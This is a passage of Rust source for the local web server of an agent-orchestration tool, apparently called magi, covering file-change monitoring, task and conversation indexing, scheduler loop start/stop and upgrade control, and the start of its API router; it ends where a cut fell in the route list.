#[cfg(test)]
pub(crate) mod request_cost;
use std::collections::{HashMap, HashSet};
use std::convert::Infallible;
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
use std::path::{Path as FsPath, PathBuf};
use std::pin::Pin;
use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
use std::time::Duration;
use tokio::sync::Notify;
use anyhow::{Context, Result};
use axum::Json;
use axum::Router;
use axum::body::Bytes;
use axum::extract::rejection::JsonRejection;
use axum::extract::{DefaultBodyLimit, Path, Query, State};
use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
use axum::response::sse::{Event, KeepAlive, Sse};
use axum::response::{IntoResponse, Response};
use axum::routing::{get, post, put};
use jiff::Timestamp;
use serde::{Deserialize, Serialize};
use tokio_stream::StreamExt as _;
use tokio_stream::wrappers::ReceiverStream;
use crate::agent;
use crate::ask::{self, Answer, Question, Questions};
use crate::config::{AgentKind, Config, Update, UpdateMode};
use crate::md;
use crate::notices::{Notice, Notices};
use crate::persona;
use crate::persona_icon;
use crate::proc::Quiet as _;
use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
use crate::run::{RunState, RunStatus};
use crate::talk::{Talk, Talks};
use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
pub const DEFAULT_PORT: u16 = 7878;
const POLL: Duration = Duration::from_secs(1);
const KEEPALIVE: Duration = Duration::from_secs(15);
const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
const LIST_DEFAULT: usize = 50;
const LIST_MAX: usize = 500;
const TITLE_MAX: usize = 72;
const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
const FILENAME_HEADER: &str = "x-filename";
const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
font-src data:; base-uri 'none'; form-action 'none'; \
frame-ancestors 'self'";
const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
const APP_CSS: &str = include_str!("../assets/ui/app.css");
const APP_JS: &str = include_str!("../assets/ui/app.js");
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum Bind {
Auto,
Addr(IpAddr),
}
impl std::str::FromStr for Bind {
type Err = String;
fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
if s.eq_ignore_ascii_case("auto") {
return Ok(Self::Auto);
}
s.parse()
.map(Self::Addr)
.map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
}
}
impl std::fmt::Display for Bind {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
match self {
Self::Auto => f.write_str("auto"),
Self::Addr(addr) => write!(f, "{addr}"),
}
}
}
#[derive(Debug, Clone)]
pub struct Opts {
pub bind: Bind,
pub port: u16,
pub repo: PathBuf,
pub open: bool,
pub merge: Option<String>,
}
impl Default for Opts {
fn default() -> Self {
Self {
bind: Bind::Auto,
port: DEFAULT_PORT,
repo: PathBuf::from("."),
open: false,
merge: None,
}
}
}
mod id_links;
type Stamps = HashMap<String, (u128, u64)>;
fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
try_store_stamps(root, runs).unwrap_or_default()
}
fn try_store_stamps(root: &FsPath, runs: bool) -> std::io::Result<Stamps> {
try_stamps(root, runs, false)
}
fn try_stamps(root: &FsPath, runs: bool, all_entries: bool) -> std::io::Result<Stamps> {
use std::hash::{Hash as _, Hasher as _};
let entries = match std::fs::read_dir(root) {
Ok(entries) => entries,
Err(e) if e.kind() == std::io::ErrorKind::NotFound => return Ok(HashMap::new()),
Err(e) => return Err(e),
};
let mut stamps = HashMap::new();
for entry in entries {
let entry = entry?;
let path = if runs {
entry.path().join("run.json")
} else {
entry.path()
};
if !runs && !all_entries && path.extension().is_none_or(|ext| ext != "json") {
continue;
}
let identity = match file_identity(&path) {
Ok(identity) => identity,
Err(e) if runs && e.kind() == std::io::ErrorKind::NotFound => continue,
Err(e) => return Err(e),
};
let modified = identity
.modified
.duration_since(std::time::UNIX_EPOCH)
.unwrap_or_default();
let mut hasher = std::hash::DefaultHasher::new();
identity.hash(&mut hasher);
let id = if runs || all_entries {
entry.file_name().to_string_lossy().into_owned()
} else {
path.file_stem()
.unwrap_or_default()
.to_string_lossy()
.into_owned()
};
stamps.insert(id, (modified.as_nanos(), hasher.finish()));
}
Ok(stamps)
}
#[derive(Debug, Serialize)]
struct Delta {
base: u64,
changed: Vec<String>,
removed: Vec<String>,
}
fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
let mut changed: Vec<_> = next
.iter()
.filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
.map(|(id, _)| id.clone())
.collect();
let mut removed: Vec<_> = previous
.keys()
.filter(|id| !next.contains_key(*id))
.cloned()
.collect();
changed.sort_unstable();
removed.sort_unstable();
Delta {
base,
changed,
removed,
}
}
#[cfg(test)]
fn runs_revision(runs: &FsPath) -> u64 {
stamps_revision(&store_stamps(runs, true))
}
fn stamps_revision(stamps: &Stamps) -> u64 {
use std::hash::{Hash as _, Hasher as _};
if stamps.is_empty() {
return 0;
}
let mut entries: Vec<_> = stamps.iter().collect();
entries.sort_unstable();
let mut hasher = std::hash::DefaultHasher::new();
entries.hash(&mut hasher);
hasher.finish().max(1)
}
#[derive(Clone, Debug)]
pub(crate) struct ChangeNotification {
pub payload: serde_json::Value,
}
#[derive(Default, Debug)]
pub(crate) struct QueueIndex {
records: HashMap<String, (FileIdentity, Arc<TaskRelation>)>,
#[cfg(test)]
reparsed: usize,
}
#[derive(Clone, Debug)]
struct TaskRelation {
id: String,
status: Option<crate::queue::TaskStatus>,
priority: i32,
runs: Vec<String>,
source: Source,
chat: Option<String>,
}
impl From<Task> for TaskRelation {
fn from(task: Task) -> Self {
Self {
id: task.id,
status: Some(task.status),
priority: task.priority,
runs: task.runs,
source: task.source,
chat: task.chat,
}
}
}
#[derive(Debug, PartialEq, Eq, Hash)]
struct FileIdentity {
modified: std::time::SystemTime,
len: u64,
#[cfg(unix)]
identity: (u64, u64, i64, i64),
}
fn file_identity(path: &FsPath) -> std::io::Result<FileIdentity> {
let meta = path.metadata()?;
Ok(FileIdentity {
modified: meta.modified()?,
len: meta.len(),
#[cfg(unix)]
identity: {
use std::os::unix::fs::MetadataExt as _;
(meta.dev(), meta.ino(), meta.ctime(), meta.ctime_nsec())
},
})
}
type Revisions = (u64, u64, u64, u64, u64, u64);
type MonitorSnapshot = Option<(Revisions, [Stamps; 3])>;
#[derive(Debug)]
pub(crate) struct SharedMonitor {
pub broadcaster: tokio::sync::broadcast::Sender<ChangeNotification>,
pub latest: Arc<Mutex<MonitorSnapshot>>,
pub worker_started: std::sync::atomic::AtomicBool,
pub queue_index: Arc<Mutex<QueueIndex>>,
list_walks: Mutex<Vec<ListWalk>>,
disk: Arc<Mutex<DiskObservation>>,
health_index: Mutex<HealthIndex>,
disk_cache: Mutex<DiskCache>,
talk_index: Mutex<HashMap<String, (FileIdentity, TalkListView)>>,
talk_status_index: Mutex<TalkStatusIndex>,
bulk_slots: Arc<tokio::sync::Semaphore>,
talk_core_slots: Arc<tokio::sync::Semaphore>,
#[cfg(test)]
talk_parses: std::sync::atomic::AtomicUsize,
}
#[derive(Debug, Default)]
struct HealthIndex {
runs: HashMap<String, (FileIdentity, bool)>,
questions: Option<QuestionCounts>,
notices: Option<(u64, usize)>,
#[cfg(test)]
run_parses: usize,
}
#[derive(Debug, Default)]
struct TalkStatusIndex {
records: HashMap<String, (FileIdentity, Option<talk::TalkStatus>)>,
#[cfg(test)]
parses: usize,
}
fn read_talk_status(reader: impl std::io::Read) -> Option<talk::TalkStatus> {
use serde::de::{IgnoredAny, MapAccess, Visitor};
struct StatusHeader<'a>(&'a mut Option<talk::TalkStatus>);
impl<'de> Visitor<'de> for StatusHeader<'_> {
type Value = ();
fn expecting(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
f.write_str("a conversation header")
}
fn visit_map<A: MapAccess<'de>>(self, mut map: A) -> Result<Self::Value, A::Error> {
while let Some(key) = map.next_key::<String>()? {
match key.as_str() {
"status" => {
*self.0 = Some(map.next_value()?);
return Err(serde::de::Error::custom("conversation header complete"));
}
"turns" => {
*self.0 = Some(talk::TalkStatus::Open);
return Err(serde::de::Error::custom("noncanonical conversation header"));
}
_ => {
map.next_value::<IgnoredAny>()?;
}
}
}
Ok(())
}
}
let reader = std::io::BufReader::with_capacity(1024, reader.take(64 * 1024));
let mut json = serde_json::Deserializer::from_reader(reader);
let mut status = None;
let result = serde::Deserializer::deserialize_map(&mut json, StatusHeader(&mut status));
status.or_else(|| match result {
Ok(()) => Some(talk::TalkStatus::Open),
Err(error) if error.is_eof() => Some(talk::TalkStatus::Open),
Err(_) => None,
})
}
fn open_talk_ids(ui: &Ui, ids: &[String]) -> std::collections::HashSet<String> {
open_talk_ids_with(ui, ids, |path| {
std::fs::File::open(path).ok().and_then(read_talk_status)
})
}
fn open_talk_ids_with(
ui: &Ui,
ids: &[String],
mut read_status: impl FnMut(&FsPath) -> Option<talk::TalkStatus>,
) -> std::collections::HashSet<String> {
let mut index = ui
.monitor
.talk_status_index
.lock()
.unwrap_or_else(PoisonError::into_inner);
let present: std::collections::HashSet<_> = ids.iter().collect();
index.records.retain(|id, _| present.contains(id));
let mut open = std::collections::HashSet::new();
for id in ids {
let Ok(identity) = file_identity(&ui.talks.path_of(id)) else {
index.records.remove(id);
continue;
};
let status = if let Some((old, status)) = index.records.get(id)
&& *old == identity
{
*status
} else {
let status = read_status(&ui.talks.path_of(id));
#[cfg(test)]
{
index.parses += 1;
}
if file_identity(&ui.talks.path_of(id)).is_ok_and(|after| after == identity) {
index.records.insert(id.clone(), (identity, status));
} else {
index.records.remove(id);
}
status
};
if status == Some(talk::TalkStatus::Open) {
open.insert(id.clone());
}
}
open
}
const QUESTION_COUNTS_TTL: Duration = Duration::from_secs(10);
#[derive(Debug)]
struct QuestionCounts {
revision: u64,
measured: std::time::Instant,
open: usize,
owner: usize,
}
#[derive(Debug, Clone)]
struct DiskSizes {
runs: u64,
worktrees: u64,
cache: Option<u64>,
}
#[derive(Debug, Default)]
struct DiskCache {
measured: Option<std::time::Instant>,
loading: bool,
config: Option<Config>,
disk: Option<DiskSizes>,
update: Option<UpdateView>,
}
fn monitor_scan(ui: &Ui, previous: MonitorSnapshot) -> (Revisions, [Stamps; 3]) {
let (mut rev, mut stamps) = previous.unwrap_or_default();
for (index, root, runs) in [
(0, ui.queue.root(), false),
(1, ui.runs.as_path(), true),
(2, ui.talks.root(), false),
] {
if let Ok(next) = try_store_stamps(root, runs) {
let value = stamps_revision(&next);
match index {
0 => rev.0 = value,
1 => rev.1 = value,
_ => rev.3 = value,
}
stamps[index] = next;
}
}
if let Ok(next) = try_stamps(ui.questions.root(), false, true) {
rev.2 = stamps_revision(&next);
}
if let Ok(next) = try_stamps(ui.notices.root(), false, true) {
rev.4 = stamps_revision(&next);
}
rev.5 = ui.lock_loop().rev;
(rev, stamps)
}
impl SharedMonitor {
pub fn new() -> Self {
let (tx, _) = tokio::sync::broadcast::channel(64);
Self {
broadcaster: tx,
latest: Arc::default(),
worker_started: std::sync::atomic::AtomicBool::new(false),
queue_index: Arc::default(),
list_walks: Mutex::default(),
disk: Arc::default(),
health_index: Mutex::default(),
disk_cache: Mutex::default(),
talk_index: Mutex::default(),
talk_status_index: Mutex::default(),
bulk_slots: Arc::new(tokio::sync::Semaphore::new(2)),
talk_core_slots: Arc::new(tokio::sync::Semaphore::new(2)),
#[cfg(test)]
talk_parses: std::sync::atomic::AtomicUsize::new(0),
}
}
async fn revisions(&self, ui: &Arc<Ui>) -> ApiResult<Revisions> {
let mut receiver = self.broadcaster.subscribe();
self.ensure_worker(ui);
loop {
if let Some((revisions, _)) = self
.latest
.lock()
.unwrap_or_else(PoisonError::into_inner)
.as_ref()
{
return Ok(*revisions);
}
tokio::time::timeout(Duration::from_secs(5), receiver.recv())
.await
.map_err(|_| ApiError::internal("Store monitoring is unavailable; retry"))?
.map_err(|_| ApiError::internal("Store monitoring restarted; retry"))?;
}
}
pub fn ensure_worker(&self, ui: &Arc<Ui>) {
if self
.worker_started
.compare_exchange(
false,
true,
std::sync::atomic::Ordering::SeqCst,
std::sync::atomic::Ordering::SeqCst,
)
.is_err()
{
return;
}
let weak_ui = Arc::downgrade(ui);
tokio::spawn(async move {
let mut ticker = tokio::time::interval(POLL);
loop {
ticker.tick().await;
let Some(ui) = weak_ui.upgrade() else {
break;
};
let previous = ui
.monitor
.latest
.lock()
.unwrap_or_else(PoisonError::into_inner)
.clone();
let state = Arc::clone(&ui);
let scan =
tokio::task::spawn_blocking(move || monitor_scan(&state, previous)).await;
ticker.reset();
let Ok((revisions, next_stamps)) = scan else {
continue;
};
let mut latest_guard = match ui.monitor.latest.lock() {
Ok(g) => g,
Err(p) => p.into_inner(),
};
let previous = latest_guard.take();
let (last_rev, prev_stamps) = match previous {
Some((r, s)) => (Some(r), Some(s)),
None => (None, None),
};
if last_rev == Some(revisions) {
*latest_guard = Some((revisions, prev_stamps.unwrap_or(next_stamps)));
continue;
}
let mut payload = serde_json::json!({
"queue_rev": revisions.0,
"runs_rev": revisions.1,
"questions_rev": revisions.2,
"talks_rev": revisions.3,
"notifications_rev": revisions.4,
"loop_rev": revisions.5,
});
if let (Some(base), Some(prev)) = (last_rev, prev_stamps.as_ref()) {
for (index, (key, rev)) in [
("queue_delta", base.0),
("runs_delta", base.1),
("talks_delta", base.3),
]
.into_iter()
.enumerate()
{
let delta = diff_stamps(&prev[index], &next_stamps[index], rev);
if delta.changed.len() + delta.removed.len() > 0
&& delta.changed.len() <= 50
{
payload[key] = serde_json::to_value(delta).expect("serializable delta");
}
}
}
*latest_guard = Some((revisions, next_stamps));
drop(latest_guard);
let _ = ui.monitor.broadcaster.send(ChangeNotification { payload });
}
});
}
}
#[derive(Debug, Clone)]
pub struct Ui {
queue: Queue,
questions: Questions,
notices: Notices,
talks: Talks,
runs: PathBuf,
references: Arc<id_links::IndexCache>,
home: PathBuf,
repo: PathBuf,
worktrees_root: PathBuf,
talk_turns: Arc<Mutex<TalkTurns>>,
admissions: Arc<tokio::sync::RwLock<bool>>,
upgrade_gate: Arc<tokio::sync::Mutex<()>>,
upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
upgrade_request_error: Arc<Mutex<Option<UpgradeRequestFailure>>>,
auto_failed_tag: Arc<Mutex<Option<String>>>,
upgrade_runner: UpgradeRunner,
resuming: Arc<Mutex<HashSet<String>>>,
repos_cache: repos::Cache,
machine_config: Option<PathBuf>,
merge: Option<String>,
looping: Arc<Mutex<LoopState>>,
#[cfg(test)]
launch: Launch,
#[cfg(test)]
busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
pub(crate) monitor: Arc<SharedMonitor>,
}
type AdmissionGuard = tokio::sync::OwnedRwLockReadGuard<bool>;
#[cfg(test)]
struct BusyQueueGate {
reached: tokio::sync::oneshot::Sender<()>,
release: std::sync::mpsc::Receiver<()>,
}
#[cfg(test)]
impl std::fmt::Debug for BusyQueueGate {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
f.debug_struct("BusyQueueGate").finish_non_exhaustive()
}
}
impl Ui {
pub fn new(
queue: Queue,
questions: Questions,
talks: Talks,
runs: PathBuf,
home: PathBuf,
repo: PathBuf,
) -> Self {
Self {
queue,
questions,
notices: Notices::at(home.join("notifications")),
talks,
runs,
references: Arc::default(),
home,
repo,
worktrees_root: run::default_worktree_root(),
talk_turns: Arc::default(),
admissions: Arc::default(),
upgrade_gate: Arc::default(),
upgrade_spawned: Arc::default(),
upgrade_request_error: Arc::default(),
auto_failed_tag: Arc::default(),
upgrade_runner: |home| Box::pin(upgrade_and_restart(home)),
resuming: Arc::default(),
repos_cache: repos::Cache::new(),
machine_config: Config::machine_layer(),
merge: None,
looping: Arc::default(),
#[cfg(test)]
launch: launch_daemon,
#[cfg(test)]
busy_queue_gate: Arc::default(),
monitor: Arc::new(SharedMonitor::new()),
}
}
fn indexed_tasks(&self) -> ApiResult<Vec<Arc<TaskRelation>>> {
let mut index = self
.monitor
.queue_index
.lock()
.unwrap_or_else(PoisonError::into_inner);
let entries = match std::fs::read_dir(self.queue.root()) {
Ok(entries) => entries,
Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
index.records.clear();
return Ok(Vec::new());
}
Err(e) => return Err(anyhow::Error::from(e).into()),
};
let mut seen = HashSet::new();
for entry in entries {
let path = entry.map_err(anyhow::Error::from)?.path();
if path.extension().is_none_or(|ext| ext != "json") {
continue;
}
let Some(id) = path.file_stem().and_then(|s| s.to_str()) else {
continue;
};
let stamp = file_identity(&path).map_err(anyhow::Error::from)?;
seen.insert(id.to_owned());
if !cfg!(unix) || index.records.get(id).is_none_or(|(old, _)| *old != stamp) {
let Ok(task) = self.queue.get(id) else {
if let Some((_, record)) = index.records.get_mut(id) {
Arc::make_mut(record).status = None;
}
continue;
};
#[cfg(test)]
{
index.reparsed += 1;
}
if file_identity(&path).map_err(anyhow::Error::from)? != stamp {
return Err(ApiError::conflict("Queue changed during read; retry"));
}
index
.records
.insert(id.to_owned(), (stamp, Arc::new(TaskRelation::from(task))));
}
}
index.records.retain(|id, _| seen.contains(id));
let mut tasks: Vec<_> = index
.records
.values()
.map(|(_, task)| task.clone())
.collect();
tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
Ok(tasks)
}
fn find_task_for_run(&self, run_id: &str) -> ApiResult<Option<Task>> {
let Some(record) = self
.indexed_tasks()?
.into_iter()
.find(|task| task.runs.iter().any(|id| id == run_id))
else {
return Ok(None);
};
let task = self.queue.get(&record.id)?;
if !task.runs.iter().any(|id| id == run_id) {
return Err(ApiError::conflict("Task relationship changed; retry"));
}
Ok(Some(task))
}
fn find_tasks_for_talk(&self, talk_id: &str) -> ApiResult<Vec<Task>> {
self.indexed_tasks()?
.into_iter()
.filter(|task| {
task.chat.as_deref() == Some(talk_id)
|| matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
})
.map(|record| {
let task = self.queue.get(&record.id)?;
if task.chat.as_deref() != Some(talk_id)
&& !matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
{
return Err(ApiError::conflict("Task relationship changed; retry"));
}
Ok(task)
})
.collect()
}
pub fn open(repo: PathBuf) -> Self {
Self::new(
Queue::open(),
Questions::open(),
Talks::open(),
run::runs_root(),
run::home(),
repo,
)
}
#[must_use]
pub fn with_merge(mut self, merge: Option<String>) -> Self {
self.merge = merge;
self
}
#[cfg(test)]
#[must_use]
fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
self.machine_config = path;
self
}
#[must_use]
pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
self.worktrees_root = root;
self
}
#[cfg(test)]
#[must_use]
fn with_launch(mut self, launch: Launch) -> Self {
self.launch = launch;
self
}
#[cfg(test)]
fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
*self
.busy_queue_gate
.lock()
.unwrap_or_else(PoisonError::into_inner) = Some(gate);
}
fn begin_admission(&self) -> ApiResult<AdmissionGuard> {
let guard = Arc::clone(&self.admissions)
.try_read_owned()
.map_err(|_| ApiError::conflict("web restart in progress; retry this message"))?;
if *guard {
return Err(ApiError::conflict(
"web restart in progress; retry this message",
));
}
Ok(guard)
}
async fn start_detached_loop(&self) -> ApiResult<()> {
if self
.upgrade_spawned
.load(std::sync::atomic::Ordering::SeqCst)
{
return Err(ApiError::conflict("an upgrade is in progress"));
}
let reading = daemon::read_status(&self.home);
if let Some(other) = Foreign::of(reading.as_ref()) {
return Err(ApiError::conflict(format!(
"{} is still running a legacy scheduler; finish or park it before starting the independent scheduler.",
other.who()
)));
}
let jobs = crate::worker::active(&self.home).map_err(ApiError::from)?;
let control = crate::worker::control(&self.home, "scheduler").map_err(ApiError::from)?;
let scheduler_running = jobs.iter().any(|job| job.kind == "scheduler")
|| reading.is_some_and(|reading| {
reading.worker_protocol == Some(1) && reading.running(Timestamp::now())
});
if control.is_some() && scheduler_running {
return Err(ApiError::conflict(
"the scheduler is still stopping; retry Start after it has stopped",
));
}
if !jobs.iter().any(|job| job.kind == "scheduler") {
let available =
crate::worker::try_lease(&self.home, "scheduler").map_err(ApiError::from)?;
if available.is_none() {
return Err(ApiError::conflict(
"the scheduler is still running or stopping; retry after its transition completes",
));
}
drop(available);
}
let opts = daemon::Opts {
repo: self.repo.clone(),
merge: self.merge.clone(),
worktrees_root: Some(self.worktrees_root.clone()),
..daemon::Opts::default()
};
daemon::spawn_detached(&self.home, &opts)
.await
.map_err(ApiError::from)?;
let mut state = self.lock_loop();
state.last_error = None;
state.rev += 1;
Ok(())
}
#[cfg(test)]
fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
if let Some(other) = foreign {
return Err(ApiError::conflict(format!(
"{} is already running the loop, so this one will not start a \
second: two loops on one queue race for the same claims and \
burn the agent quota twice over. Stop it where it was \
started.",
other.who()
)));
}
let mut state = self.lock_loop();
if self
.upgrade_spawned
.load(std::sync::atomic::Ordering::SeqCst)
{
return Err(ApiError::conflict("an upgrade is in progress"));
}
if state.live.as_ref().is_some_and(Live::alive) {
return Err(ApiError::conflict(format!(
"this magi web process (pid {}) is already running the loop",
std::process::id()
)));
}
let stop = daemon::Stop::new();
let opts = daemon::Opts {
repo: self.repo.clone(),
merge: self.merge.clone(),
worktrees_root: Some(self.worktrees_root.clone()),
..daemon::Opts::default()
};
let launch = self.launch;
let looping = Arc::clone(&self.looping);
let handle = tokio::spawn({
let opts = opts.clone();
let stop = stop.clone();
async move {
let failure = match launch(opts, stop).await {
Ok(()) => None,
Err(e) => Some(format!("{e:#}")),
};
match &failure {
Some(why) => tracing::error!("the loop stopped: {why}"),
None => tracing::info!("the loop stopped"),
}
let mut state = lock_or_recover(&looping);
state.live = None;
state.last_error = failure;
state.rev += 1;
}
});
tracing::info!(
"the loop is now running in this process: repo {}, merge {}",
opts.repo.display(),
opts.merge.as_deref().unwrap_or("as the config says")
);
state.live = Some(Live { stop, handle, opts });
state.last_error = None;
state.rev += 1;
Ok(())
}
fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
if let Some(other) = foreign {
return Err(ApiError::conflict(format!(
"the loop belongs to {}, and this process cannot stop it - \
stop it where it was started. A button that silently did \
nothing would be worse than this refusal.",
other.who()
)));
}
#[cfg(not(test))]
{
daemon::request_control(
&self.home,
if park {
crate::worker::Control::Park
} else {
crate::worker::Control::Stop
},
)
.map_err(ApiError::from)?;
self.lock_loop().rev += 1;
Ok(())
}
#[cfg(test)]
{
let mut state = self.lock_loop();
let Some(live) = state.live.as_ref() else {
return Ok(());
};
if live.stop.stopped() && (!park || live.stop.parking()) {
return Ok(());
}
if park {
live.stop.park(crate::run::ParkCause::Operator);
tracing::info!(
"the loop was asked to park; the run stops at its next node boundary"
);
} else {
live.stop.stop();
tracing::info!("the loop was asked to stop; a run in flight is finished first");
}
state.rev += 1;
Ok(())
}
}
#[cfg(not(test))]
fn try_loop_view(&self, reading: Option<daemon::Reading>) -> ApiResult<LoopView> {
let jobs = crate::worker::active(&self.home).map_err(|error| {
ApiError::internal(format!("cannot read independent worker state: {error:#}"))
})?;
Ok(self.runtime_loop_view(reading, &jobs))
}
#[cfg(test)]
fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
let state = self.lock_loop();
let live = state.live.as_ref().filter(|live| live.alive());
LoopView {
running: live.is_some(),
stopping: live.is_some_and(|live| live.stop.finishing()),
parking: live.is_some_and(|live| live.stop.parking()),
owned: live.is_some(),
repo: live
.map_or(&self.repo, |live| &live.opts.repo)
.display()
.to_string(),
merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
last_error: state.last_error.clone(),
daemon: DaemonView::of(reading),
}
}
fn runtime_loop_view(
&self,
reading: Option<daemon::Reading>,
jobs: &[crate::worker::Job],
) -> LoopView {
let scheduler = jobs.iter().find(|job| job.kind == "scheduler");
let reporting = reading
.as_ref()
.is_some_and(|r| r.running(Timestamp::now()));
let managed = scheduler.is_some()
|| (reporting
&& reading
.as_ref()
.is_some_and(|r| r.worker_protocol == Some(1)));
let control = crate::worker::control(&self.home, "scheduler")
.ok()
.flatten();
let persisted = if managed && scheduler.is_none() {
std::fs::read(self.home.join("scheduler-options.json"))
.ok()
.and_then(|bytes| serde_json::from_slice::<daemon::Opts>(&bytes).ok())
} else {
None
};
let repo = scheduler
.and_then(|job| job.payload.get("repo"))
.and_then(serde_json::Value::as_str)
.map(str::to_owned)
.or_else(|| {
persisted
.as_ref()
.map(|opts| opts.repo.display().to_string())
})
.unwrap_or_else(|| self.repo.display().to_string());
let merge = match scheduler {
Some(job) => job
.payload
.get("merge")
.and_then(serde_json::Value::as_str)
.map(str::to_owned),
None => persisted.map_or_else(|| self.merge.clone(), |opts| opts.merge),
};
LoopView {
running: managed || reporting,
stopping: managed && matches!(control, Some(crate::worker::Control::Stop)),
parking: matches!(control, Some(crate::worker::Control::Park))
&& jobs.iter().any(|job| job.kind == "task"),
owned: managed,
repo,
merge,
last_error: self.lock_loop().last_error.clone(),
daemon: DaemonView::of(reading),
}
}
fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
lock_or_recover(&self.looping)
}
fn is_thinking(&self, id: &str) -> bool {
self.talk_turns
.lock()
.is_ok_and(|turns| turns.live.contains(id))
|| self.talks.turn_held(id)
|| crate::consult::turn_worker_active(&self.talks, id)
}
fn is_thinking_observed(&self, id: &str) -> bool {
self.talk_turns.try_lock().map_or_else(
|error| matches!(error, std::sync::TryLockError::WouldBlock),
|turns| turns.live.contains(id),
)
|| self.talks.turn_held(id)
|| crate::consult::turn_worker_observed(&self.talks, id)
}
fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
self.claim_talk_turn(id, false)
}
fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
self.claim_talk_turn(id, true)
}
fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
let mut live = self
.talk_turns
.lock()
.map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
if crate::consult::turn_worker_active(&self.talks, id) {
if queued {
*live.queued.entry(id.to_owned()).or_default() += 1;
}
return Ok(None);
}
let inserted = live.live.insert(id.to_owned());
let lease = if inserted {
match self.talks.claim_turn(id) {
Ok(Some(lease)) => Some(lease),
Ok(None) => {
live.live.remove(id);
None
}
Err(e) => {
live.live.remove(id);
return Err(ApiError::from(e));
}
}
} else {
None
};
if lease.is_none() {
if queued {
*live.queued.entry(id.to_owned()).or_default() += 1;
}
return Ok(None);
}
Ok(Some(TalkTurnGuard {
talk: id.to_owned(),
turns: Arc::clone(&self.talk_turns),
released: false,
lease,
}))
}
fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
let mut live = self
.talk_turns
.lock()
.map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
if live.live.contains(id) || crate::consult::turn_worker_active(&self.talks, id) {
return Ok(TalkTurnStart::Busy);
}
let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
return Ok(TalkTurnStart::Foreign);
};
let talk = self.talks.get(id).map_err(ApiError::from)?;
if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
return Ok(TalkTurnStart::Pending);
}
live.live.insert(id.to_owned());
Ok(TalkTurnStart::Claimed(TalkTurnGuard {
talk: id.to_owned(),
turns: Arc::clone(&self.talk_turns),
released: false,
lease: Some(lease),
}))
}
fn queued_generation(&self, id: &str) -> u64 {
let live = self
.talk_turns
.lock()
.unwrap_or_else(PoisonError::into_inner);
live.queued.get(id).copied().unwrap_or(0)
}
fn auto_upgrade_busy(&self) -> bool {
#[cfg(test)]
if self
.lock_loop()
.live
.as_ref()
.is_some_and(|live| live.stop.busy_now())
{
return true;
}
crate::worker::active(&self.home)
.map_or(true, |jobs| jobs.iter().any(|job| job.kind != "scheduler"))
|| !daemon::current_work(&self.home, Timestamp::now()).is_empty()
|| !self
.resuming
.lock()
.unwrap_or_else(PoisonError::into_inner)
.is_empty()
|| !self
.talk_turns
.lock()
.unwrap_or_else(PoisonError::into_inner)
.live
.is_empty()
|| self
.talks
.list()
.iter()
.any(|talk| self.is_thinking(&talk.id))
}
fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
let mut live = self
.resuming
.lock()
.map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
if self
.upgrade_spawned
.load(std::sync::atomic::Ordering::SeqCst)
{
return Err(ApiError::conflict("an upgrade is in progress"));
}
if !live.insert(id.to_owned()) {
return Err(ApiError::conflict(format!(
"run {id} is already being resumed"
)));
}
Ok(ResumeGuard {
run: id.to_owned(),
resuming: Arc::clone(&self.resuming),
})
}
pub fn router(self) -> Router {
Arc::new(self).shared_router()
}
fn shared_router(self: Arc<Self>) -> Router {
Router::new()
.route("/", get(index))
.route("/app.css", get(app_css))
.route("/app.js", get(app_js))
.route("/api/health", get(health))
.route("/api/references", post(id_links::resolve_text))
.route("/api/loop", get(loop_get).post(loop_post))
.route("/api/upgrade", post(upgrade_post))
.route("/api/runs", get(runs_list))
.route("/api/runs/{id}", get(run_detail).delete(run_delete))
.route("/api/runs/{id}/progress", get(run_progress))
.route("/api/runs/{id}/core", get(run_core))
.route("/api/runs/{id}/report", get(run_report))
.route("/api/runs/{id}/report.json", get(run_report_json))
.route("/api/runs/{id}/graft.diff", get(run_graft_diff))
